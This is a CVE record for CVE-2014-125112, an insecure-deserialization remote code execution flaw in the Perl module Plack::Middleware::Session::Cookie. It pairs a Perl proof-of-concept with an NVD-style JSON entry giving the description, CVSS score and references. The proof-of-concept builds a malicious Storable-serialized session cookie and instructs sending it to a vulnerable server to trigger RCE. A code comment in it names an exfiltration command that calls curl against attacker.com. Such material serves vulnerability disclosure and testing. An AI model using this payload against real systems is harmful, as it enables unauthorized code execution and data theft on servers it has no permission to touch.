CVE-2014-125112

#!/usr/bin/perl use strict; use warnings; use Storable qw(freeze); use MIME::Base64; # PoC for CVE-2014-125112 # This script demonstrates how to create a malicious cookie # exploiting insecure deserialization in Plack::Middleware::Session::Cookie. # Define a class that executes code upon destruction (common gadget pattern) package Exploit::Payload; sub new { bless {}, shift } sub DESTROY { # In a real scenario, this would execute a shell command # system('id'); or `curl http://attacker.com/$(whoami)`; print "[+] Arbitrary code executed via deserialization!\n"; } package main; # Create the malicious object my $malicious_object = Exploit::Payload->new(); # Serialize the object using Storable my $serialized_data = freeze($malicious_object); # Encode it to Base64 (common format for cookies) my $cookie_payload = encode_base64($serialized_data, ''); print "Generated Malicious Cookie Payload:\n"; print "plack_session=$cookie_payload\n"; print "\nSend this cookie to the vulnerable application to trigger RCE.\n";

{"cve": {"id": "CVE-2014-125112", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-03-26T03:16:00.423", "lastModified": "2026-05-06T14:50:24.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plack::Middleware::Session::Cookie versions through 0.21 for Perl allows remote code execution.\n\nPlack::Middleware::Session::Cookie versions through 0.21 has a security vulnerability where it allows an attacker to execute arbitrary code on the server during deserialization of the cookie data, when there is no secret used to sign the cookie."}, {"lang": "es", "value": "Las versiones de Plack::Middleware::Session::Cookie hasta la 0.21 para Perl permiten la ejecución remota de código.\n\nLas versiones de Plack::Middleware::Session::Cookie hasta la 0.21 tienen una vulnerabilidad de seguridad que permite a un atacante ejecutar código arbitrario en el servidor durante la deserialización de los datos de la cookie, cuando no se utiliza ningún secreto para firmar la cookie."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-565"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:miyagawa:plack\\:\\:middleware\\:\\:session\\:\\:cookie:*:*:*:*:*:perl:*:*", "versionEndExcluding": "0.23", "matchCriteriaId": "B0973619-DAA2-4B3C-BF1E-5C1EDD60F202"}]}]}], "references": [{"url": "https://gist.github.com/miyagawa/2b8764af908a0dacd43d", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}, {"url": "https://metacpan.org/release/MIYAGAWA/Plack-Middleware-Session-0.23-TRIAL/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/26/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}